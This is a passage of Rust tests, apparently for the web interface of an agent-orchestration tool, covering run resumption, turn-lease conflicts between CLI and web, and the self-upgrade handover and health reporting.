18784 assert_eq!(res.status, 400, "{}", res.body);
18785 assert_eq!(
18786 read_run(&runs, id).unwrap().status,
18787 RunStatus::Blocked,
18788 "a pull request that could not be confirmed merged must leave \
18789 the run exactly where it was"
18790 );
18791 }
18792
18793 #[tokio::test]
18794 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
18795 let fx = Fixture::start().await;
18796 let runs = fx.runs();
18797
18798 for (status, word) in [
18804 (RunStatus::Merged, "merged"),
18805 (RunStatus::Ready, "ready"),
18806 (RunStatus::Failed, "failed"),
18807 ] {
18808 let id = format!("20260901-000000-{}", &word[..4]);
18809 write_run(&runs, &id, status);
18810 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
18811 assert_eq!(res.status, 409, "{word} must not be resumable");
18812 let err = res.json()["error"].as_str().unwrap().to_owned();
18813 assert!(err.contains(word), "the refusal names the status: {err}");
18814 }
18815
18816 let mid = "20260901-000000-midf";
18821 write_run(&runs, mid, RunStatus::Reviewing);
18822 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
18823 assert_eq!(res.status, 202, "an interrupted run is resumable");
18824 }
18825
18826 #[tokio::test]
18827 async fn resume_is_refused_while_the_loop_is_running() {
18828 let fx = Fixture::start().await;
18829 let runs = fx.runs();
18830 let stalled = "20260901-000000-stal";
18831 write_run(&runs, stalled, RunStatus::Stalled);
18832
18833 let mut beat = crate::daemon::Status::new();
18837 beat.current = vec![crate::daemon::Current {
18838 task: "20260901-000000-task".to_owned(),
18839 run: "20260901-000000-othr".to_owned(),
18840 }];
18841 beat.updated_at = jiff::Timestamp::now();
18842 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18843 .expect("publish a heartbeat");
18844
18845 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
18846 assert_eq!(res.status, 409);
18847 let err = res.json()["error"].as_str().unwrap().to_owned();
18848 assert!(err.contains("othr"), "it names what the loop is on: {err}");
18849 assert!(err.contains("stop it first"), "{err}");
18850 }
18851
18852 #[test]
18853 fn a_run_cannot_be_resumed_twice_at_once() {
18854 let home = TempDir::new().expect("temp home");
18855 let ui = Ui::new(
18856 Queue::at(home.path().join("queue")),
18857 Questions::at(home.path().join("questions")),
18858 Talks::at(home.path().join("talks")),
18859 home.path().join("runs"),
18860 home.path().to_path_buf(),
18861 PathBuf::from("/repo"),
18862 )
18863 .with_worktrees_root(home.path().join("wt"));
18864 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
18865 let again = ui.begin_resume("20260901-000000-once");
18866 assert!(again.is_err(), "a second tap must not start a second graph");
18867 drop(first);
18868 assert!(
18869 ui.begin_resume("20260901-000000-once").is_ok(),
18870 "and the claim is released when the attempt ends"
18871 );
18872 }
18873
18874 #[test]
18875 fn talk_thinking_tracks_only_its_held_turn_claim() {
18876 let home = TempDir::new().expect("temp home");
18877 let ui = Ui::new(
18878 Queue::at(home.path().join("queue")),
18879 Questions::at(home.path().join("questions")),
18880 Talks::at(home.path().join("talks")),
18881 home.path().join("runs"),
18882 home.path().to_path_buf(),
18883 PathBuf::from("/repo"),
18884 )
18885 .with_worktrees_root(home.path().join("wt"));
18886 let id = "20260901-000000-once";
18887
18888 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
18889 let turn = ui.begin_talk_turn(id).expect("claim turn");
18890 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
18891 assert!(
18892 !ui.is_thinking("20260901-000000-other"),
18893 "one talk's turn does not make another talk busy"
18894 );
18895 drop(turn);
18896 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
18897 }
18898
18899 #[test]
18900 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
18901 let home = TempDir::new().expect("temp home");
18902 let talks = Talks::at(home.path().join("talks"));
18903 let ui = Ui::new(
18904 Queue::at(home.path().join("queue")),
18905 Questions::at(home.path().join("questions")),
18906 talks.clone(),
18907 home.path().join("runs"),
18908 home.path().to_path_buf(),
18909 PathBuf::from("/repo"),
18910 )
18911 .with_worktrees_root(home.path().join("wt"));
18912 let id = "20260901-000000-cross";
18913
18914 let other = Talks::at(home.path().join("talks"))
18915 .claim_turn(id)
18916 .expect("claim")
18917 .expect("the other process wins");
18918 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
18919 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
18920 assert!(
18921 matches!(
18922 ui.begin_talk_turn_unless_pending(id).expect("start"),
18923 TalkTurnStart::Foreign
18924 ),
18925 "a foreign holder is refused, not queued behind"
18926 );
18927 assert!(
18928 !ui.talk_turns.lock().unwrap().live.contains(id),
18929 "a refused claim leaves no in-process entry behind"
18930 );
18931 drop(other);
18932 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
18933 assert!(talks.turn_held(id), "the web turn holds the lease");
18934 drop(turn);
18935 assert!(
18936 !talks.turn_held(id),
18937 "dropping the guard releases the lease"
18938 );
18939 }
18940
18941 fn consult_question(ui: &Ui) -> Question {
18942 let mut q = Question::new(
18943 "20260901-000000-consult".to_owned(),
18944 "implement".to_owned(),
18945 "impl-A".to_owned(),
18946 "Which backend?".to_owned(),
18947 String::new(),
18948 vec!["SQLite".to_owned(), "Redis".to_owned()],
18949 );
18950 ui.questions.put(&mut q).expect("question");
18951 q
18952 }
18953
18954 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
18955 (
18956 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
18957 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
18958 )
18959 }
18960
18961 #[tokio::test]
18962 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
18963 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18964 let q = consult_question(&ui);
18965 let talk = ui.talks.get(&id).expect("talk");
18966 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
18967 let before = consult_snapshot(&ui, &q, &id);
18968 let cli_talks = Talks::at(ui.home.join("talks"));
18969 assert_eq!(
18970 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
18971 .await
18972 .expect("CLI starter"),
18973 crate::consult::Started::Busy
18974 );
18975 assert_eq!(consult_snapshot(&ui, &q, &id), before);
18976 assert!(ui.is_thinking(&id));
18977 drop(guard);
18978 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
18979 }
18980
18981 #[tokio::test]
18982 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
18983 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18984 let q = consult_question(&ui);
18985 let talk = ui.talks.get(&id).expect("talk");
18986 let started = tmp.path().join("started");
18987 let release = tmp.path().join("release");
18988 let script = tmp.path().join("consult-agent.sh");
18989 std::fs::write(
18990 &script,
18991 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
18992 )
18993 .expect("script");
18994 let mut cfg = stub_config();
18995 cfg.agents[0].id = "mock".to_owned();
18996 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
18997 cfg.agents[0].env = std::collections::BTreeMap::from([
18998 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
18999 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
19000 ]);
19001 let questions = ui.questions.clone();
19002 let cli_talks = Talks::at(ui.home.join("talks"));
19003 let cli_q = q.clone();
19004 let turn = tokio::spawn(async move {
19005 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
19006 });
19007 let ready = tokio::time::timeout(Duration::from_secs(30), async {
19008 while !started.exists() {
19009 tokio::time::sleep(Duration::from_millis(10)).await;
19010 }
19011 })
19012 .await;
19013 let refusal = if ready.is_ok() {
19016 let before = consult_snapshot(&ui, &q, &id);
19017 let result = talk_say(
19018 State(Arc::clone(&ui)),
19019 Path(id.clone()),
19020 Ok(Json(NewTalkTurn {
19021 reply_to: None,
19022 text: "another message".to_owned(),
19023 attachments: Vec::new(),
19024 })),
19025 )
19026 .await;
19027 Some((result, before, consult_snapshot(&ui, &q, &id)))
19028 } else {
19029 None
19030 };
19031 std::fs::write(&release, "").expect("release agent");
19032 let done = turn.await.expect("join CLI turn");
19033 ready.expect("agent started before deadline");
19034 let (result, before, after) = refusal.expect("web request");
19035 let error = result.expect_err("web must refuse the CLI's turn");
19036 assert_eq!(error.status, StatusCode::CONFLICT);
19037 assert!(error.message.contains("a turn is already running"));
19038 assert_eq!(
19039 after, before,
19040 "refusal preserves question, draft and history"
19041 );
19042 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
19043 let guard = ui
19044 .begin_talk_turn(&id)
19045 .expect("web claim")
19046 .expect("free again");
19047 drop(guard);
19048 }
19049
19050 #[test]
19051 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
19052 let home = TempDir::new().expect("temp home");
19053 let talks = Talks::at(home.path().join("talks"));
19054 let ui = Ui::new(
19055 Queue::at(home.path().join("queue")),
19056 Questions::at(home.path().join("questions")),
19057 talks.clone(),
19058 home.path().join("runs"),
19059 home.path().to_path_buf(),
19060 PathBuf::from("/repo"),
19061 )
19062 .with_worktrees_root(home.path().join("wt"));
19063 let id = "20260901-000000-order";
19064 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19065 let slots = ui.talk_turns.lock().unwrap();
19067 let dropper = std::thread::spawn(move || drop(turn));
19068 let start = std::time::Instant::now();
19069 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
19070 std::thread::sleep(Duration::from_millis(5));
19071 }
19072 assert!(!talks.turn_held(id), "the lease is released first");
19073 assert!(slots.live.contains(id), "the slot is still held meanwhile");
19074 drop(slots);
19075 dropper.join().expect("join");
19076 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
19077 }
19078
19079 #[tokio::test]
19080 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
19081 let fx = Fixture::start().await;
19082 let mut beat = crate::daemon::Status::new();
19086 beat.pid = 4321;
19087 beat.updated_at = jiff::Timestamp::now();
19088 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19089 .expect("publish a heartbeat");
19090
19091 let res = fx.post("/api/upgrade", None).await;
19092 assert_eq!(res.status, 409);
19093 let err = res.json()["error"].as_str().unwrap().to_owned();
19094 assert!(err.contains("4321"), "the refusal names the owner: {err}");
19095 assert!(err.contains("old one against the same queue"), "{err}");
19096 }
19097
19098 #[test]
19105 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
19106 assert!(!should_spawn_recheck(&crate::config::Update {
19107 mode: UpdateMode::Off,
19108 interval: None,
19109 }));
19110
19111 unsafe {
19114 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19115 }
19116 let killed = should_spawn_recheck(&crate::config::Update {
19117 mode: UpdateMode::Notify,
19118 interval: None,
19119 });
19120 unsafe {
19121 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19122 }
19123 assert!(
19124 !killed,
19125 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
19126 one-time startup check"
19127 );
19128
19129 assert!(should_spawn_recheck(&crate::config::Update {
19130 mode: UpdateMode::Notify,
19131 interval: None,
19132 }));
19133 }
19134
19135 #[test]
19141 fn recheck_poll_period_tracks_a_short_configured_interval() {
19142 let short = crate::config::Update {
19143 mode: UpdateMode::Notify,
19144 interval: Some("1m".to_owned()),
19145 };
19146 let period = recheck_poll_period(&short);
19147 assert!(
19148 period <= Duration::from_secs(30),
19149 "a one-minute interval must wake the task far sooner than the \
19150 default ceiling, or the deck would not notice within the \
19151 interval the operator configured: got {period:?}"
19152 );
19153
19154 let default = crate::config::Update {
19155 mode: UpdateMode::Notify,
19156 interval: None,
19157 };
19158 assert_eq!(
19159 recheck_poll_period(&default),
19160 UPDATE_RECHECK_POLL_MAX,
19161 "the default day-long interval should poll at the (capped) \
19162 ceiling rather than needlessly often"
19163 );
19164 }
19165
19166 #[test]
19174 fn recheck_skips_the_network_before_the_interval_elapses() {
19175 let dir = TempDir::new().expect("temp dir");
19176 let path = dir.path().join("state.json");
19177 let state = kaishin::UpdateCheckState {
19178 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
19179 last_known_latest: None,
19180 last_known_url: None,
19181 };
19182 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
19183
19184 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
19185 assert!(
19186 !update_recheck_due(&checker, None),
19187 "a check made moments ago must not be repeated before the \
19188 configured interval elapses"
19189 );
19190 }
19191
19192 #[test]
19198 fn recheck_defers_to_an_upgrade_already_in_flight() {
19199 let dir = TempDir::new().expect("temp dir");
19200 let path = dir.path().join("state.json");
19201 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
19202 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
19203
19204 assert!(
19205 !update_recheck_due(&checker, Some(&progress)),
19206 "a recheck must not run while an upgrade this deck started is \
19207 still moving"
19208 );
19209 }
19210
19211 #[tokio::test]
19212 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
19213 unsafe {
19225 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19226 }
19227 let fx = Fixture::start().await;
19228 let res = fx.post("/api/upgrade", None).await;
19229 unsafe {
19230 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19231 }
19232 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19233 let body = res.json();
19234 assert!(body["to"].is_null(), "there was no release to move to");
19235 assert!(body["parked"].is_null(), "and nothing was parked");
19236 assert!(
19237 body["detail"]
19238 .as_str()
19239 .unwrap()
19240 .contains("disabled by MAGI_NO_AUTOUPDATE"),
19241 "{body:?}"
19242 );
19243 }
19244
19245 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
19246 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
19247 p.stage = stage;
19248 p
19249 }
19250
19251 #[test]
19252 fn busy_stages_match_the_ui_set() {
19253 use crate::updater::Stage;
19254 assert!(APP_JS.contains(
19255 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
19256 ));
19257 for s in [
19258 Stage::Downloading,
19259 Stage::Replaced,
19260 Stage::Parking,
19261 Stage::Restarting,
19262 ] {
19263 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
19264 }
19265 for s in [Stage::Done, Stage::Failed] {
19266 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
19267 }
19268 assert!(upgrade_in_motion(None).is_none());
19269 }
19270
19271 #[tokio::test]
19272 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
19273 use crate::updater::Stage;
19274 for stage in [
19275 Stage::Downloading,
19276 Stage::Replaced,
19277 Stage::Parking,
19278 Stage::Restarting,
19279 ] {
19280 let fx = Fixture::start().await;
19281 let seeded = seeded_progress(stage);
19282 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
19283 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19284 .expect("read");
19285
19286 let res = fx.post("/api/upgrade", None).await;
19287 assert_eq!(res.status, 409, "{stage:?}");
19288 let err = res.json()["error"].as_str().unwrap().to_owned();
19289 assert!(err.contains("already in progress"), "{err}");
19290 assert!(err.contains(stage.as_str()), "{err}");
19291
19292 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19293 .expect("read");
19294 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
19295 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
19296 .unwrap_or_default();
19297 assert!(!log.contains("signalling HANDOVER"), "{log}");
19298 }
19299 }
19300
19301 #[tokio::test]
19302 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
19303 use crate::updater::Stage;
19304 let repo = TempDir::new().expect("repo dir");
19305 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19306 .expect("write magi.toml");
19307 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19308 for stage in [Stage::Done, Stage::Failed] {
19309 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
19310 let res = fx.post("/api/upgrade", None).await;
19311 assert_eq!(res.status, 200, "{stage:?}");
19312 }
19313 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
19315 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
19316 }
19317
19318 #[tokio::test]
19319 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
19320 let repo = TempDir::new().expect("repo dir");
19336 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19337 .expect("write magi.toml");
19338 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19339
19340 let res = fx.post("/api/upgrade", None).await;
19346 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19347 let body = res.json();
19348 assert!(body["to"].is_null(), "there was no release to move to");
19349 assert!(body["parked"].is_null(), "and nothing was parked");
19350 assert!(
19351 body["detail"]
19352 .as_str()
19353 .unwrap()
19354 .contains("nothing restarted"),
19355 "{body:?}"
19356 );
19357 }
19358
19359 #[tokio::test]
19360 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
19361 let repo = TempDir::new().expect("repo dir");
19366 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19367 .expect("write magi.toml");
19368 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19369
19370 let health = fx.get("/api/health").await.json();
19371 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
19372 assert_eq!(
19373 health["update"]["available"], false,
19374 "checking is off, which reads as \"unknown\", not \"none\""
19375 );
19376 assert!(health["update"]["to"].is_null());
19377 assert!(
19378 health["upgrade"].is_null(),
19379 "nothing has ever asked this deck to upgrade"
19380 );
19381 }
19382
19383 #[tokio::test]
19384 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
19385 let fx = Fixture::start().await;
19386 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
19387
19388 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19389 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19390 progress.advance(crate::updater::Stage::Parking);
19391 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19392
19393 let health = fx.get("/api/health").await.json();
19394 assert_eq!(health["upgrade"]["stage"], "parking");
19395 assert_eq!(health["upgrade"]["from"], "0.5.1");
19396 assert_eq!(health["upgrade"]["to"], "0.5.2");
19397 let waiting_on = health["upgrade"]["waiting_on"]
19398 .as_str()
19399 .expect("waiting_on is set while parking a known run");
19400 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19401 assert!(waiting_on.contains("implementing"), "{waiting_on}");
19402 }
19403
19404 #[tokio::test]
19405 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
19406 let fx = Fixture::start().await;
19407 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19408 progress.advance(crate::updater::Stage::Done);
19409 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19410
19411 let health = fx.get("/api/health").await.json();
19412 assert_eq!(health["upgrade"]["stage"], "done");
19413 assert!(
19414 health["upgrade"]["waiting_on"].is_null(),
19415 "nothing to wait on once it is done"
19416 );
19417 }
19418
19419 #[tokio::test]
19420 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
19421 let home = TempDir::new().expect("temp home");
19422 let runs = home.path().join("runs");
19423 std::fs::create_dir_all(&runs).expect("runs dir");
19424 let ui = Ui::new(
19425 Queue::at(home.path().join("queue")),
19426 Questions::at(home.path().join("questions")),
19427 Talks::at(home.path().join("talks")),
19428 runs,
19429 home.path().to_path_buf(),
19430 PathBuf::from("/repo/magi"),
19431 )
19432 .with_launch(launch_idle);
19433 let looping = ui.looping();
19434 let turns = ui.turns();
19435 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19436 .await
19437 .expect("bind loopback");
19438 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19439
19440 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19441 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19442
19443 hand_over(
19444 home.path(),
19445 &looping,
19446 &turns,
19447 &|_: &[String]| Duration::from_secs(5),
19448 served,
19449 |_| Ok(1),
19450 )
19451 .await
19452 .expect("hand over");
19453
19454 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
19455 assert_eq!(
19456 after.stage,
19457 crate::updater::Stage::Restarting,
19458 "hand_over owns the record through parking and up to restarting; \
19459 the successor is what finishes it"
19460 );
19461 }
19462
19463 #[tokio::test]
19466 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
19467 for fail in [false, true] {
19468 let home = TempDir::new().expect("temp home");
19469 let ui = idle_ui(&home);
19470 let looping = ui.looping();
19471 let turns = ui.turns();
19472 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19473 .await
19474 .expect("bind loopback");
19475 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19476 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19477 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19478
19479 let calls = std::sync::atomic::AtomicUsize::new(0);
19480 let outcome = hand_over(
19481 home.path(),
19482 &looping,
19483 &turns,
19484 &|_: &[String]| Duration::from_secs(5),
19485 served,
19486 |_| {
19487 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19488 if fail {
19489 anyhow::bail!("no exec")
19490 } else {
19491 Ok(4242)
19492 }
19493 },
19494 )
19495 .await;
19496 assert_eq!(outcome.is_err(), fail);
19497 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19498
19499 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
19500 .expect("upgrade.log is written under the home");
19501 for step in [
19502 "entered",
19503 "finish_loop",
19504 "listener released",
19505 "starting the successor",
19506 ] {
19507 assert!(log.contains(step), "missing `{step}` in:\n{log}");
19508 }
19509 assert!(
19510 log.contains(if fail { "did not start" } else { "pid 4242" }),
19511 "{log}"
19512 );
19513 }
19514 }
19515
19516 #[tokio::test]
19519 async fn the_handover_signal_wakes_one_waiter_once() {
19520 let signal = Notify::new();
19521 signal.notify_one();
19523 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
19524 .await
19525 .expect("an early signal is still seen");
19526 assert!(
19528 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
19529 .await
19530 .is_err(),
19531 "a consumed signal must not wake a second time"
19532 );
19533 let signal = std::sync::Arc::new(signal);
19535 let waiter = tokio::spawn({
19536 let signal = std::sync::Arc::clone(&signal);
19537 async move { wait_for_handover(&signal).await }
19538 });
19539 tokio::time::sleep(Duration::from_millis(20)).await;
19540 assert!(!waiter.is_finished(), "nothing was signalled yet");
19541 signal.notify_one();
19542 tokio::time::timeout(Duration::from_secs(5), waiter)
19543 .await
19544 .expect("a late signal wakes the waiter")
19545 .expect("join");
19546 }
19547
19548 #[tokio::test]
19549 async fn health_says_how_long_a_handover_has_been_stuck() {
19550 let fx = Fixture::start().await;
19551 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19552 progress.advance(crate::updater::Stage::Replaced);
19553 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
19554 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19555
19556 let health = fx.get("/api/health").await.json();
19557 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
19558 assert!(stuck >= 600, "{stuck}");
19559 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
19560 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
19561 }
19562
19563 #[tokio::test]
19564 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
19565 let home = tempfile::tempdir().expect("temp home");
19566 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19567 progress.advance(crate::updater::Stage::Parking);
19568 crate::updater::write_progress(home.path(), &progress).expect("seed");
19569 let mut again = progress.clone();
19571 again.advance(crate::updater::Stage::Replaced);
19572 crate::updater::write_progress(home.path(), &again).expect("replaced");
19573 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19574 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
19575 let after = crate::updater::read_progress(home.path()).expect("record");
19576 assert_eq!(after.stage, crate::updater::Stage::Parking);
19577 }
19578
19579 #[tokio::test]
19580 async fn health_does_not_call_a_live_parking_wait_stuck() {
19581 let fx = Fixture::start().await;
19582 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19583 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19584 progress.advance(crate::updater::Stage::Parking);
19585 let hours = Duration::from_secs(3 * 3600);
19586 progress.started_at = Timestamp::now() - hours;
19587 progress.updated_at = Timestamp::now() - hours;
19588 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19589 let _lease = crate::updater::LeaseGuard::enter(
19590 fx.home.path(),
19591 Some("20260905-000000-cd51".to_owned()),
19592 );
19593
19594 let health = fx.get("/api/health").await.json();
19595 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
19596 assert!(health["upgrade"]["stuck_kind"].is_null());
19597 assert_eq!(health["upgrade"]["handover_alive"], true);
19598 let waiting_on = health["upgrade"]["waiting_on"]
19599 .as_str()
19600 .expect("waiting_on");
19601 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19602 }
19603
19604 fn idle_ui(home: &TempDir) -> Ui {
19605 let runs = home.path().join("runs");
19606 std::fs::create_dir_all(&runs).expect("runs dir");
19607 Ui::new(
19608 Queue::at(home.path().join("queue")),
19609 Questions::at(home.path().join("questions")),
19610 Talks::at(home.path().join("talks")),
19611 runs,
19612 home.path().to_path_buf(),
19613 PathBuf::from("/repo/magi"),
19614 )
19615 .with_launch(launch_idle)
19616 }
19617
19618 async fn park_fixture(
19619 home: &TempDir,
19620 ) -> (
19621 Ui,
19622 Arc<Mutex<LoopState>>,
19623 Arc<Mutex<TalkTurns>>,
19624 tokio::task::JoinHandle<std::io::Result<()>>,
19625 ) {
19626 let ui = idle_ui(home);
19627 let looping = ui.looping();
19628 let turns = ui.turns();
19629 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19630 .await
19631 .expect("bind loopback");
19632 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
19633 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19634 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19635 (ui, looping, turns, served)
19636 }
19637
19638 #[tokio::test]
19642 async fn hand_over_waits_for_a_running_chat_turn() {
19643 let home = TempDir::new().expect("temp home");
19644 let (ui, looping, turns, served) = park_fixture(&home).await;
19645 let ui = Arc::new(ui);
19646 let id = "20260901-000000-chat";
19647 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19648
19649 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19650 let handover = tokio::spawn({
19651 let home = home.path().to_path_buf();
19652 let turns = Arc::clone(&turns);
19653 let calls = Arc::clone(&calls);
19654 async move {
19655 hand_over(
19656 &home,
19657 &looping,
19658 &turns,
19659 &|_: &[String]| Duration::from_secs(60),
19660 served,
19661 move |_| {
19662 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19663 Ok(1)
19664 },
19665 )
19666 .await
19667 }
19668 });
19669
19670 let waiting = async {
19671 for _ in 0..200 {
19672 if crate::updater::read_progress(home.path())
19673 .is_some_and(|p| p.parked_talks == [id.to_owned()])
19674 {
19675 return;
19676 }
19677 tokio::time::sleep(Duration::from_millis(25)).await;
19678 }
19679 panic!("the park never named the chat turn");
19680 };
19681 waiting.await;
19682 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19683
19684 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19687 assert!(
19688 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19689 "a direct start says an upgrade is in progress"
19690 );
19691 assert!(
19692 ui.begin_queued_talk_turn("20260901-000000-late")
19693 .expect("queued claim")
19694 .is_none()
19695 );
19696 assert!(matches!(
19697 ui.begin_talk_turn_unless_pending("20260901-000000-late")
19698 .expect("start"),
19699 TalkTurnStart::Busy
19700 ));
19701 assert_eq!(turns.lock().unwrap().live.len(), 1);
19702
19703 let progress = crate::updater::read_progress(home.path()).expect("progress");
19705 let view = upgrade_progress_view(&ui, progress);
19706 assert!(
19707 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
19708 "{:?}",
19709 view.waiting_on
19710 );
19711
19712 assert!(!handover.is_finished());
19713 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19714 drop(turn);
19715 handover.await.expect("join").expect("hand over");
19716 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19717 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19718 }
19719
19720 #[tokio::test]
19723 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
19724 let home = TempDir::new().expect("temp home");
19725 let (ui, looping, turns, served) = park_fixture(&home).await;
19726 let ui = Arc::new(ui);
